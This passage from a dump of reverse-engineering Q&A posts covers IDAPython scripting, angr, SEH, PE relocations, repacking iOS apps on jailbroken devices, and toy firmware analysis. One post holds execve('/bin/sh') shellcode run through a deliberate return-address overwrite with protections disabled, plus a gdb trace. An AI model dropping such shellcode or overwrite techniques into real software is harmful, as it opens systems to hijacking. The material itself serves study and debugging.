idc.get_str_type(debug_func_addr)\n   debug_func = get_strlit_contents(debug_func_addr,-1,str_type).decode(&quot;utf-8&quot;)\n   #print (&quot;value: %x&quot; % debug_func)   \n   print (&quot;value: %s&quot; % debug_func)\n   set_name(func_addr, str(debug_func), 0)\n</code></pre>\n<p>(I'm sure this isn't best practice and doesn't have error checking etc - just a proof of concept).</p>\n<p>However, unlike my original question many of the binaries actually have the debug function string as argument 5.  i.e. not held in a register at time of debug call, but rather placed on the stack.</p>\n<pre><code>.text:001D7414                 LDR             R4, =aUsbPower_0 ; &quot;usb_power_reset&quot;\n.text:001D7434                 STR             R4, [SP,#0x30+function] ; function\n\n.text:001D7448                 BL              debug_log\n</code></pre>\n<p>arg_offset = args[4] gives 001D7434, but idc.get_operand_value(arg_offset, 1) (i.e. [SP,#0x30+function])  gives 0</p>\n<p>I don't think I can read register R4 even though we know what the value always is unless we're in a live debug session.</p>\n<p>Can I evaluate this in a different way to get the address of R4 being set?</p>\n<p>Not sure about the etiquette here - so if this has to be a separate question please let me know.</p>\n<p>edit2:</p>\n<p>In the end, I decided to simply use DumpPseudoCode and parse it to find the right strings I need to name the function properly.</p>\n<p>That means most of the entire executable gets pseudocode generated for it, and probably isn't terribly efficient.</p>\n<p>Additionally, because the debug strings contain the source file name e.g. &quot;/src/network/upnp/upnp_server.c&quot; I added logic to create folders for the functions and move all functions to the correct place.</p>\n<p>That makes things much better.  I just have an excuse to go and make a coffee while the script runs.</p>\n",
        "Title": "IDAPython set name of function using string passed to debug logging subfunction",
        "Tags": "|ida|idapython|arm|",
        "Answer": "<p>If you don't want to code yourself such a script, although it looks like it might be the best, you can give a try to the <a href=\"https://github.com/joxeankoret/idamagicstrings\" rel=\"nofollow noreferrer\">IDA Magic Strings</a> plugin (that I wrote myself). It is often smart enough as to get function names from debugging messages.</p>\n"
    },
    {
        "Id": "31537",
        "CreationDate": "2023-02-13T12:46:53.637",
        "Body": "<p>As a part of college project, I have to showcase how I can get ios app from jailbroken devices and reverse-engineer it. In the first part of slide, I am showing how we can get the IPA file from jailbroken device, also can decrypt the iOS app (either through clutch2 or ipainstaller). I am showing how attacker can use class-dump-z and enumerate classnames and method names.</p>\n<p>I am also trying to add a scenario, where I not only get the decrypted app from jailbroken iPhone but also can change few things in it. I am trying to change parameters in Info.plist file.</p>\n<p>Below are the steps I performed:</p>\n<blockquote>\n<ol>\n<li>Unzip the decrypted iOS app (.ipa file) into directory named <code>unzipped_app</code></li>\n<li>Go to Payload -&gt; Appname.app -&gt; Info.plist</li>\n<li>Change app name</li>\n</ol>\n</blockquote>\n<p>Question:\nNow, how do I recompile the <code>unzipped_app</code> directory back to .ipa file?</p>\n<p>I came across this question <a href=\"https://reverseengineering.stackexchange.com/questions/2814/disassemble-edit-and-re-assembly-ios-ipa-apps\">Disassemble, edit and re-assembly iOS ipa apps</a> but this is not providing solution to my question.</p>\n",
        "Title": "Decompile and Re-compile iOS app (.ipa file)",
        "Tags": "|ios|decompile|",
        "Answer": "<p>With the help of Robert's comment, I explored that path and found a solution.</p>\n<p>IPA file is basically a form of ZIP file and likewise we can unzip it easily.</p>\n<blockquote>\n<p>macbook$:&gt; unzip -d unzipped-dir appname.ipa</p>\n</blockquote>\n<p>This will give us directory format as</p>\n<blockquote>\n<p>unzipped-dir/Payload/appname.app/Info.plist [and other contents of ipa file along with app binary]</p>\n</blockquote>\n<p>Once appropriate modifications are done in Info.plist, we can save the Info.plist file.</p>\n<p>Now, transfer the <code>Payload</code> directory from macbook to <code>jailbroken</code> ios device.</p>\n<blockquote>\n<p>macbook:$&gt; scp -r Payload/ root@&lt;iphone-ip&gt;:/var/root</p>\n</blockquote>\n<p>-- On Jailbroken Device --</p>\n<ul>\n<li>Install AppSync from Cydia (add source-&gt; <a href=\"http://cydia.akemi.ai\" rel=\"nofollow noreferrer\">http://cydia.akemi.ai</a>).</li>\n<li>Install Filza (should be available directly in Cydia search)</li>\n</ul>\n<p>Open Filza app and go to <code>/var/root</code>. This is the location where we sent <code>Payload</code> directory via scp.</p>\n<blockquote>\n<p>Long press <code>Payload</code> directory and click &quot;Create ZIP&quot; --&gt; This will create <code>Payload.zip</code></p>\n</blockquote>\n<blockquote>\n<p>Long press the newly created ZIP file <code>Payload.zip</code> and rename it to <code>new-app.ipa</code> (or whatever you want to name it, but make sure to keep the extension as <code>.ipa</code> and not <code>.zip</code> anymore) --&gt; This will create <code>new-app.ipa</code> in same directory ie /var/root/</p>\n</blockquote>\n<blockquote>\n<p>Click on <code>new-app.ipa</code> and click on &quot;Install&quot; on top right corner.</p>\n</blockquote>\n<p>Done. This will install the new ipa file.</p>\n<p>Self signing or any other type of signing is not required as (up to my limited knowledge) AppSync disables the code signing checks on jailbroken device.</p>\n<p>Writing self answer hoping that someone might get help from this.\nThank you.</p>\n"
    },
    {
        "Id": "31543",
        "CreationDate": "2023-02-14T05:15:12.840",
        "Body": "<p>I have made simple program to test the angr.</p>\n<p>My python code is here.</p>\n<pre><code>import angr \nimport claripy\n\np=angr.Project('./test2')\nbuf=claripy.BVS('buf', 8*10)\n\ninitial_state=p.factory.entry_state(args=[&quot;./test2&quot;, buf])\n\ns=p.factory.simulation_manager()\n\ns.explore(find=0x80491ab, avoid=0x80491ba)\n\nprint(s.found)\n\nif s.found:\n    sol_state=s.found[0]\n    sol=sol_state.solver.eval(buf, cast_to=bytes)\n    print(sol)\nelse:\n    print(&quot;not found&quot;)\n</code></pre>\n<p>I expected this program print &quot;hello&quot;\nbut It printed as follows.</p>\n<pre><code>WARNING  | 2023-02-13 23:57:05,077 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior.\nWARNING  | 2023-02-13 23:57:05,077 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:\nWARNING  | 2023-02-13 23:57:05,077 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state\nWARNING  | 2023-02-13 23:57:05,077 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null\nWARNING  | 2023-02-13 23:57:05,078 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.\nWARNING  | 2023-02-13 23:57:05,078 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x0 with 129 unconstrained bytes referenced from 0x819f230 (strcpy+0x0 in libc.so.6 (0x9f230))\nWARNING  | 2023-02-13 23:57:05,402 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffeff6e with 10 unconstrained bytes referenced from 0x819f230 (strcpy+0x0 in libc.so.6 (0x9f230))\n[&lt;SimState @ 0x80491ab&gt;]\nb'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n</code></pre>\n<p>Here is my source code test2.c and assembly code</p>\n<p>test2.c</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nint main(int agrc, char* argv[])\n{\n    char buf[10];\n\n    strcpy(buf, argv[1]);\n\n    if(!strcmp(buf, &quot;hello&quot;))\n    {\n        puts(&quot;Correct!&quot;);\n    }\n    else\n    {\n        puts(&quot;Incorrect&quot;);\n    }\n}\n</code></pre>\n<p>test2 assembly code</p>\n<pre><code>Dump of assembler code for function main:\n   0x08049176 &lt;+0&gt;:     push   ebp\n   0x08049177 &lt;+1&gt;:     mov    ebp,esp\n   0x08049179 &lt;+3&gt;:     sub    esp,0xc\n   0x0804917c &lt;+6&gt;:     mov    eax,DWORD PTR [ebp+0xc]\n   0x0804917f &lt;+9&gt;:     add    eax,0x4\n   0x08049182 &lt;+12&gt;:    mov    eax,DWORD PTR [eax]\n   0x08049184 &lt;+14&gt;:    push   eax\n   0x08049185 &lt;+15&gt;:    lea    eax,[ebp-0xa]\n   0x08049188 &lt;+18&gt;:    push   eax\n   0x08049189 &lt;+19&gt;:    call   0x8049050 &lt;strcpy@plt&gt;\n   0x0804918e &lt;+24&gt;:    add    esp,0x8\n   0x08049191 &lt;+27&gt;:    push   0x804a008\n   0x08049196 &lt;+32&gt;:    lea    eax,[ebp-0xa]\n   0x08049199 &lt;+35&gt;:    push   eax\n   0x0804919a &lt;+36&gt;:    call   0x8049030 &lt;strcmp@plt&gt;\n   0x0804919f &lt;+41&gt;:    add    esp,0x8\n   0x080491a2 &lt;+44&gt;:    test   eax,eax\n   0x080491a4 &lt;+46&gt;:    jne    0x80491b5 &lt;main+63&gt;\n   0x080491a6 &lt;+48&gt;:    push   0x804a00e\n   0x080491ab &lt;+53&gt;:    call   0x8049060 &lt;puts@plt&gt;\n   0x080491b0 &lt;+58&gt;:    add    esp,0x4\n   0x080491b3 &lt;+61&gt;:    jmp    0x80491c2 &lt;main+76&gt;\n   0x080491b5 &lt;+63&gt;:    push   0x804a017\n   0x080491ba &lt;+68&gt;:    call   0x8049060 &lt;puts@plt&gt;\n   0x080491bf &lt;+73&gt;:    add    esp,0x4\n   0x080491c2 &lt;+76&gt;:    mov    eax,0x0\n   0x080491c7 &lt;+81&gt;:    leave\n   0x080491c8 &lt;+82&gt;:    ret\nEnd of assembler dump.\n</code></pre>\n<p>Why is this happening?\nThank you in advance.</p>\n",
        "Title": "Why did I have gotten only null bytes argv variable from angr?",
        "Tags": "|assembly|python|angr|",
        "Answer": "<p>You do not use the <code>initial_state</code> you create with constraints for <code>buf</code> arg.\nFrom the doc</p>\n<blockquote>\n<p>If nothing is passed in, the SimulationManager is seeded with a state initialized for the program entry point, i.e. entry_state().\nIf a SimState is passed in, the SimulationManager is seeded with that state.</p>\n</blockquote>\n<pre><code>s = p.factory.simulation_manager(initial_state)\n</code></pre>\n<p>would just do it</p>\n<pre><code>[&lt;SimState @ 0x4007a3&gt;]\nb'hello\\x00\\x08\\x80\\x00\\x00'\n</code></pre>\n"
    },
    {
        "Id": "31559",
        "CreationDate": "2023-02-17T08:52:08.440",
        "Body": "<p>I want to understand when <code>EXCEPTION_REGISTRATION_RECORD</code>s get created on the stack.</p>\n<ul>\n<li>Are they created when the program starts?</li>\n<li>Are they created when we enter the function?</li>\n<li>Or are they created only when the exception occurs?</li>\n</ul>\n<p>Is it true that there is one <code>EXCEPTION_REGISTRATION_RECORD</code> per <code>try</code>/<code>catch</code>?</p>\n",
        "Title": "When is EXCEPTION_REGISTRATION_RECORD created on the stack?",
        "Tags": "|seh|",
        "Answer": "<p>EXCEPTION_REGISTRATION_RECORD is placed on the stack in anticipation of an exception occurring.  The &quot;try&quot; will put one there.  The record is part of a chain, for as many nested &quot;try&quot; statements as exist.  The nesting includes one function calling another function from within a try block.  Windows will also put a top-most handler there before the program starts, so there is always one on program start.</p>\n"
    },
    {
        "Id": "31598",
        "CreationDate": "2023-02-28T06:59:36.027",
        "Body": "<p>I found a simple shellcode on the internet.\nThen, to test this shellcode, I make the simple ret overwrite code.</p>\n<p>test.c</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nchar buf[100];\n\nint main(void)\n{\n        char x=0;\n        strcpy(buf, &quot;\\x31\\xf6\\x48\\xbb\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x56\\x53\\x54\\x5f\\x6a\\x3b\\x58\\x31\\xd2\\x0f\\x05&quot;);\n\n        *(&amp;x+9)=0x40;\n        *(&amp;x+10)=0x40;\n        *(&amp;x+11)=0x40;\n        *(&amp;x+12)=0x00;\n        *(&amp;x+13)=0x00;\n        *(&amp;x+14)=0x00;\n        *(&amp;x+15)=0x00;\n        *(&amp;x+16)=0x00;\n\n        puts(&quot;end of program&quot;);\n}\n</code></pre>\n<p>I compiled this using gcc like this.</p>\n<pre><code>gcc -o test test.c -fno-stack-protector -mpreferred-stack-boundary=2 -no-pie -fno-pie -z execstack\n</code></pre>\n<p>and the following is the result of what I debugged with gdb.</p>\n<pre><code>\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ gdb -q test                                                                                \nReading symbols from test...\n(No debugging symbols found in test)\n(gdb) set disassembly-flavor intel\n(gdb) disas main\nDump of assembler code for function main:\n   0x0000000000401126 &lt;+0&gt;:     push   rbp\n   0x0000000000401127 &lt;+1&gt;:     mov    rbp,rsp\n   0x000000000040112a &lt;+4&gt;:     sub    rsp,0x10\n   0x000000000040112e &lt;+8&gt;:     mov    BYTE PTR [rbp-0x1],0x0\n   0x0000000000401132 &lt;+12&gt;:    movabs rax,0x6e69622fbb48f631\n   0x000000000040113c &lt;+22&gt;:    movabs rdx,0x5f54535668732f2f\n   0x0000000000401146 &lt;+32&gt;:    mov    QWORD PTR [rip+0x2ef3],rax        # 0x404040 &lt;buf&gt;\n   0x000000000040114d &lt;+39&gt;:    mov    QWORD PTR [rip+0x2ef4],rdx        # 0x404048 &lt;buf+8&gt;\n   0x0000000000401154 &lt;+46&gt;:    movabs rax,0x50fd231583b6a\n   0x000000000040115e &lt;+56&gt;:    mov    QWORD PTR [rip+0x2eeb],rax        # 0x404050 &lt;buf+16&gt;\n   0x0000000000401165 &lt;+63&gt;:    lea    rax,[rbp-0x1]\n   0x0000000000401169 &lt;+67&gt;:    add    rax,0x9\n   0x000000000040116d &lt;+71&gt;:    mov    BYTE PTR [rax],0x40\n   0x0000000000401170 &lt;+74&gt;:    lea    rax,[rbp-0x1]\n   0x0000000000401174 &lt;+78&gt;:    add    rax,0xa\n   0x0000000000401178 &lt;+82&gt;:    mov    BYTE PTR [rax],0x40\n   0x000000000040117b &lt;+85&gt;:    lea    rax,[rbp-0x1]\n   0x000000000040117f &lt;+89&gt;:    add    rax,0xb\n   0x0000000000401183 &lt;+93&gt;:    mov    BYTE PTR [rax],0x40\n   0x0000000000401186 &lt;+96&gt;:    lea    rax,[rbp-0x1]\n   0x000000000040118a &lt;+100&gt;:   add    rax,0xc\n   0x000000000040118e &lt;+104&gt;:   mov    BYTE PTR [rax],0x0\n   0x0000000000401191 &lt;+107&gt;:   lea    rax,[rbp-0x1]\n   0x0000000000401195 &lt;+111&gt;:   add    rax,0xd\n   0x0000000000401199 &lt;+115&gt;:   mov    BYTE PTR [rax],0x0\n   0x000000000040119c &lt;+118&gt;:   lea    rax,[rbp-0x1]\n   0x00000000004011a0 &lt;+122&gt;:   add    rax,0xe\n   0x00000000004011a4 &lt;+126&gt;:   mov    BYTE PTR [rax],0x0\n   0x00000000004011a7 &lt;+129&gt;:   lea    rax,[rbp-0x1]\n   0x00000000004011ab &lt;+133&gt;:   add    rax,0xf\n   0x00000000004011af &lt;+137&gt;:   mov    BYTE PTR [rax],0x0\n   0x00000000004011b2 &lt;+140&gt;:   lea    rax,[rbp-0x1]\n   0x00000000004011b6 &lt;+144&gt;:   add    rax,0x10\n   0x00000000004011ba &lt;+148&gt;:   mov    BYTE PTR [rax],0x0\n   0x00000000004011bd &lt;+151&gt;:   lea    rax,[rip+0xe40]        # 0x402004\n   0x00000000004011c4 &lt;+158&gt;:   mov    rdi,rax\n   0x00000000004011c7 &lt;+161&gt;:   call   0x401030 &lt;puts@plt&gt;\n   0x00000000004011cc &lt;+166&gt;:   mov    eax,0x0\n   0x00000000004011d1 &lt;+171&gt;:   leave\n   0x00000000004011d2 &lt;+172&gt;:   ret\nEnd of assembler dump.\n(gdb) b *main+172\nBreakpoint 1 at 0x4011d2\n(gdb) r\nStarting program: /home/kali/test \n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library &quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;.\nend of program\n\nBreakpoint 1, 0x00000000004011d2 in main ()\n(gdb) si\n0x0000000000404040 in buf ()\n(gdb) x/30i $rip\n=&gt; 0x404040 &lt;buf&gt;:      xor    esi,esi\n   0x404042 &lt;buf+2&gt;:    movabs rbx,0x68732f2f6e69622f\n   0x40404c &lt;buf+12&gt;:   push   rsi\n   0x40404d &lt;buf+13&gt;:   push   rbx\n   0x40404e &lt;buf+14&gt;:   push   rsp\n   0x40404f &lt;buf+15&gt;:   pop    rdi\n   0x404050 &lt;buf+16&gt;:   push   0x3b\n   0x404052 &lt;buf+18&gt;:   pop    rax\n   0x404053 &lt;buf+19&gt;:   xor    edx,edx\n   0x404055 &lt;buf+21&gt;:   syscall\n   0x404057 &lt;buf+23&gt;:   add    BYTE PTR [rax],al\n   0x404059 &lt;buf+25&gt;:   add    BYTE PTR [rax],al\n   0x40405b &lt;buf+27&gt;:   add    BYTE PTR [rax],al\n   0x40405d &lt;buf+29&gt;:   add    BYTE PTR [rax],al\n   0x40405f &lt;buf+31&gt;:   add    BYTE PTR [rax],al\n   0x404061 &lt;buf+33&gt;:   add    BYTE PTR [rax],al\n   0x404063 &lt;buf+35&gt;:   add    BYTE PTR [rax],al\n   0x404065 &lt;buf+37&gt;:   add    BYTE PTR [rax],al\n   0x404067 &lt;buf+39&gt;:   add    BYTE PTR [rax],al\n   0x404069 &lt;buf+41&gt;:   add    BYTE PTR [rax],al\n   0x40406b &lt;buf+43&gt;:   add    BYTE PTR [rax],al\n   0x40406d &lt;buf+45&gt;:   add    BYTE PTR [rax],al\n   0x40406f &lt;buf+47&gt;:   add    BYTE PTR [rax],al\n   0x404071 &lt;buf+49&gt;:   add    BYTE PTR [rax],al\n   0x404073 &lt;buf+51&gt;:   add    BYTE PTR [rax],al\n   0x404075 &lt;buf+53&gt;:   add    BYTE PTR [rax],al\n   0x404077 &lt;buf+55&gt;:   add    BYTE PTR [rax],al\n   0x404079 &lt;buf+57&gt;:   add    BYTE PTR [rax],al\n   0x40407b &lt;buf+59&gt;:   add    BYTE PTR [rax],al\n   0x40407d &lt;buf+61&gt;:   add    BYTE PTR [rax],al\n(gdb) si\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x0000000000404040 in buf ()\n</code></pre>\n<p>I think that 'xor esi,esi' don't generate segmentation fault, but It generated. Why the segmentation fault occured?</p>\n",
        "Title": "Why this x64 shellcode doesn't work?(segmentation fault)",
        "Tags": "|c|gdb|x86-64|shellcode|gcc|",
        "Answer": "<p>Your <code>buf</code> variable is a global variable, which most likely is located inside <code>.data</code> section.</p>\n<p>This section is not executable by default (it probably has RW permissions). You can check its permissions with <code>readelf</code> utility.</p>\n<p>Since you are putting your shell code inside a buffer located in a non executable section of memory, upon executing first instructions, program segfaults.</p>\n<p>Considering arguments you are passing to compile your code, I assume that you wanted your shell code to be located in the stack. Thus, to avoid segfault, your <code>buf</code> array should be a local variable (place your array inside <code>main</code> function).</p>\n"
    },
    {
        "Id": "31610",
        "CreationDate": "2023-03-02T10:28:02.017",
        "Body": "<p>I'm developing a python script for IDA Pro and I seem to have a problem with idaapi.FlowChart because it retrieves another basic block that isn't present in the graph view of the GUI of IDA.</p>\n<p><a href=\"https://i.stack.imgur.com/Jv6Rd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Jv6Rd.png\" alt=\"enter image description here\" /></a></p>\n<p>As you can see in the function at 0x10b4 there is only one basic block composed by a JMP instruction, but the size of the flowchart is 2, where in the second basic block there is the first instruction present at the memory location pointed by the JMP instruction of the first basic block.</p>\n<p>Do you know how I can deal with this problem? Thank you in advance.</p>\n",
        "Title": "IDAPython's FlowChart wrong basic blocks",
        "Tags": "|ida|idapython|idapro-sdk|",
        "Answer": "<p>I have fixed it by using <code>flags=idaapi.FC_NOEXT</code> when calling FlowChart.</p>\n<p>The flag <code>idaapi.FC_NOEXT</code> tells to not compute external blocks. Using this prevents jumps leaving the function from appearing in the flow chart. Unless specified, the targets of those outgoing jumps will be present in the flow chart under the form of one-instruction blocks.</p>\n"
    },
    {
        "Id": "31616",
        "CreationDate": "2023-03-02T22:36:56.467",
        "Body": "<p>I am new to assembly. When I was disassembling some code, I encounter some strange instruction here. The instruction shows that (RBP + -0x40) is equal to local_48, however at the beginning of the code, we can see that (RBP + -0x48) is equal to local_48. Also, I know that this is a struct. Is there something wrong here or am I looking at it wrong?</p>\n<p>The instruction I was talking about:</p>\n<p><a href=\"https://i.stack.imgur.com/FXU8s.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FXU8s.png\" alt=\"Assembly Instruction\" /></a></p>\n<p>And the beginning of the code:</p>\n<p><a href=\"https://i.stack.imgur.com/Bpedz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Bpedz.png\" alt=\"Beginning Of The Code\" /></a></p>\n",
        "Title": "Ghidra Shows Structure Strange",
        "Tags": "|assembly|x86|ghidra|",
        "Answer": "<p>Without seeing the full function, I suspect what you're seeing is a result of how Ghidra identifies a stack-based variable, as described in the answer to <a href=\"https://reverseengineering.stackexchange.com/questions/23540/ghidra-interpreting-stack-pointers-wrongly\">this question</a>.</p>\n<p>The <code>Stack[-0x##]</code> numbers in your screenshot are likely not relative to <code>RBP</code>, but rather the stack pointer <code>RSP</code> at the function start. Since <code>RBP</code> might have been set to the value of <code>RSP</code> <em>after</em> some pushes occurred, it could be a slightly different offset than the stack offset at the entry point of the function. This can take some getting used to as it is unintuitive.</p>\n<p>If you are still learning assembly, a good exercise is to follow the changes made to the stack pointer via pushes/pops in the function start, and verify that you understand why the offset of <code>RBP</code> later in the function body would be slightly different than the offset to <code>RSP</code> at the beginning of the function for the same stack address.</p>\n"
    },
    {
        "Id": "31638",
        "CreationDate": "2023-03-07T03:56:34.087",
        "Body": "<p>I started by reading a book on C language and then moved on to &quot;Programming From Ground Up,&quot; which teaches basic programming in x86.</p>\n<p>School just ended, I'm working on cracking a game called PwnAdventure Sourcery, which has been tough. I had to look up solutions and found that some involved buffer overflow and bruteforcing algorithms. It took me around 30 minutes to finally look up for a solution, and I feel like I'm so stupid :(</p>\n<p>If possible, can you give a rough roadmap for reverse engineering along with some great resources?</p>\n",
        "Title": "What are the prerequisite knowledge needed to start solving crackmes?",
        "Tags": "|disassembly|assembly|debugging|crackme|game-hacking|",
        "Answer": "<p>There are innumerable paths... but for some getting started material:</p>\n<ul>\n<li><a href=\"https://p.ost2.fyi/\" rel=\"nofollow noreferrer\">https://p.ost2.fyi/</a> :: Open Security Training 2, Xeno has rebooted the project and has tons of great, free, in-depth courses.</li>\n<li><a href=\"https://beginners.re/\" rel=\"nofollow noreferrer\">https://beginners.re/</a> :: Denis Yurichevs on-line book (or PDF)</li>\n<li><a href=\"https://github.com/crackmes/crackmes\" rel=\"nofollow noreferrer\">https://github.com/crackmes/crackmes</a> :: a crackmes.de mirror, start at level 1, some are very easy but the variety of compilers makes it a good way to build up your tool set</li>\n<li><a href=\"http://www.binary-auditing.com/\" rel=\"nofollow noreferrer\">http://www.binary-auditing.com/</a> :: The Binary Auditor course teaches binary analysis and some C at the same time</li>\n</ul>\n<p>There is literally tons of material available, some holds it's own over the years and some doesn't... but this list is some that I remember being very accessible, enjoy the journey!</p>\n"
    },
    {
        "Id": "31639",
        "CreationDate": "2023-03-07T05:58:05.277",
        "Body": "<p>A friend and I are poking around with some 32-bit Windows binaries and wanted to get some info about relocation tables.</p>\n<ol>\n<li><p>What is the difference between an exe that does not contain a relocation table (its base memory always starts at a specific address e.g. 0x0040000), and an exe that does contain a relocation table with a base memory that starts at different addresses?</p>\n</li>\n<li><p>What are the benefits or detriments to having a relocation table and not having one in an exe?</p>\n</li>\n<li><p>If an exe has a relocation table already inside of it, what will happen if it is removed? What are the consequences of doing so?</p>\n</li>\n</ol>\n",
        "Title": "A few questions about reloc tables and base memory",
        "Tags": "|memory|relocations|",
        "Answer": "<p>Relocation tables exist to load a binary To a different Imagebase instead of the preferred Imagebase embedded in pe header</p>\n<p>Imagebase relocation is mostly applicable to dlls as image base conflicts have more chances to happen in dlls</p>\n<p>Exe is normally the first image to be loaded so it normally tends to get its preferred imagebase 0x400000 in x86</p>\n<p>You can compile an exe without relocation table using /Fixed /DynamicBase:no linker options</p>\n<p>You can rip out a relocation table and theoretically the binary should work alright at its preferred imagebase</p>\n"
    },
    {
        "Id": "31654",
        "CreationDate": "2023-03-09T16:29:20.127",
        "Body": "<p>I'm developing a python script for IDA Pro that analyzes 32 bit PE files containing an anti-disassembly technique, the problem is that the function that contains the technique isn't being listed in the list of functions using <code>idautils.Functions()</code>.</p>\n<p>To solve the problem I tried to add the function to the list with:</p>\n<pre><code>segm = idaapi.get_segm_by_name(&quot;.text&quot;)\n    start = segm.start_ea\n    end = segm.end_ea\n    while start &lt; end:\n        start = idaapi.find_not_func(start, 1)\n        ida_funcs.add_func(start)\n</code></pre>\n<p>When the <code>start</code> value is the address of the beginning of the function the <code>ida_funcs.add_func</code> method returns false, meaning that the address can't be added as a function, despite that in the GUI of IDA the function becomes listed.</p>\n<p>This is the screenshot of the function containing the technique in the IDA GUI:\n<a href=\"https://i.stack.imgur.com/neXXA.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/neXXA.png\" alt=\"enter image description here\" /></a></p>\n<p>Do you know what can I do in order to have the script working? Thank you in advance.</p>\n",
        "Title": "IDAPython doesn't recognize function",
        "Tags": "|ida|disassembly|idapython|disassemblers|idapro-sdk|",
        "Answer": "<p>I have solved my problem by using twice <code>idc.auto_wait()</code>, the first time at the start of the script and then between the snippet of code that I posted and the <code>idautils.Functions()</code>, now the function that I need to analyze gets listed.</p>\n"
    },
    {
        "Id": "31662",
        "CreationDate": "2023-03-12T17:07:31.223",
        "Body": "<p>I am trying to reverse engineer a Mickey Mouse toy just for fun but I am stuck.\nThe toy has several buttons that play various phrases and songs.\nMy aim was to see if I can read those songs from the eeprom as the other chip is encased in resin.\nI was able to read the 2mb bin file and I have tried various softwares for reverse engineering but I didn't find very useful information.</p>\n<p>binwalk -A mickey.bin:</p>\n<pre><code>    DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n1581594       0x18221A        ARMEB instructions, function prologue\n</code></pre>\n<p>In imHex I was only able to identify this at the start of the file:</p>\n<pre><code>Date: 2009-11-09Version:     V06Author:    A\\xAAUi\\x96/\\x00\\xD0\\xFF8#\n</code></pre>\n<p>In Ghidra I was only able to find this:</p>\n<pre><code>                             //\n                         // ram \n                         // ram:00000000-ram:001fffff\n                         //\n                         **************************************************************\n                         *                          FUNCTION                          *\n                         **************************************************************\n                         undefined Reset()\n         undefined         r0:1           &lt;RETURN&gt;\n                         Reset                                           XREF[1]:     Entry Point(*)  \n    00000000 44 61 74 65     ldrbvs     r6,[r4,#-0x144]!\n                         **************************************************************\n                         *                          FUNCTION                          *\n                         **************************************************************\n                         undefined UndefinedInstruction()\n         undefined         r0:1           &lt;RETURN&gt;\n                         UndefinedInstruction                            XREF[1]:     Entry Point(*)  \n    00000004 3a 20 32 30     eorccs     r2,r2,r10, lsr r0\n                         SupervisorCall                                  XREF[1]:     Entry Point(*)  \n    00000008 30              ??         30h    0\n    00000009 39              ??         39h    9\n    0000000a 2d              ??         2Dh    -\n    0000000b 31              ??         31h    1\n                         **************************************************************\n                         *                          FUNCTION                          *\n                         **************************************************************\n                         undefined PrefetchAbort()\n         undefined         r0:1           &lt;RETURN&gt;\n                         PrefetchAbort                                   XREF[1]:     Entry Point(*)  \n    0000000c 31 2d 30 39     ldmdbcc    r0!,{r0,r4,r5,r8,r10,r11,sp}\n                         DataAbort                                       XREF[1]:     Entry Point(*)  \n    00000010 56              ??         56h    V\n    00000011 65              ??         65h    e\n    00000012 72              ??         72h    r\n    00000013 73              ??         73h    s\n    00000014 69              ??         69h    i\n    00000015 6f              ??         6Fh    o\n    00000016 6e              ??         6Eh    n\n    00000017 3a              ??         3Ah    :\n                         **************************************************************\n                         *                          FUNCTION                          *\n                         **************************************************************\n                         undefined IRQ()\n         undefined         r0:1           &lt;RETURN&gt;\n                         IRQ                                             XREF[1]:     Entry Point(*)  \n    00000018 20 20 20 20     eorcs      r2,r0,r0, lsr #32\n                         **************************************************************\n                         *                          FUNCTION                          *\n                         **************************************************************\n                         undefined FIQ()\n         undefined         r0:1           &lt;RETURN&gt;\n                         FIQ                                             XREF[1]:     Entry Point(*)  \n    0000001c 20 56 30 36     ldrtcc     r5,[r0],-r0,lsr #0xc\n    00000020 41 75 74 68     ldmdavs    r4!,{r0,r6,r8,r10,r12,sp,lr}^\n    00000024 6f 72 3a 20     eorcss     r7,r10,pc, ror #0x4\n    00000028 20              ??         20h     \n</code></pre>\n<p>Since I am a beginer I might have not used the reverse engineering software properly.</p>\n<p>Here is the bin file:\n<a href=\"https://easyupload.io/3yyq4x\" rel=\"nofollow noreferrer\">https://easyupload.io/3yyq4x</a></p>\n",
        "Title": "Mickey Mouse toy bin file analysis",
        "Tags": "|binary-analysis|ghidra|radare2|binwalk|",
        "Answer": "<p>Got the file disassembled into the audio segments. Format is pretty simple.</p>\n<p>(for further analysis the separated files: <a href=\"https://nplusc.de/mickey.bin-splitted.zip\" rel=\"nofollow noreferrer\">https://nplusc.de/mickey.bin-splitted.zip</a> )</p>\n<p>File has a index list at 0x6c of 0x29 uint32 offsets, at each offset there is a length field (uint32) and then the raw file.</p>\n<p>File format as a 010editor binary template:</p>\n<pre class=\"lang-c prettyprint-override\"><code>byte randomgarbage[0x6b];\nlocal uint64 returnoffset = FTell();\nuint32 sizes[0x29];\n\nstruct FILE{\n    uint32 file_size;\n    byte content[file_size];\n};\n\nFSeek(returnoffset);\nlocal uint i = 0;\nfor(i = 0; i&lt;0x29;i++)\n{\n    FSeek(sizes[i]);\n    FILE file;\n}\n</code></pre>\n<p>Used this java program to split the file:</p>\n<pre class=\"lang-java prettyprint-override\"><code>import java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.RandomAccessFile;\nimport java.nio.ByteBuffer;\n\npublic class MickeyBinSplitter {\n    public static void main(String[] args) {\n        try 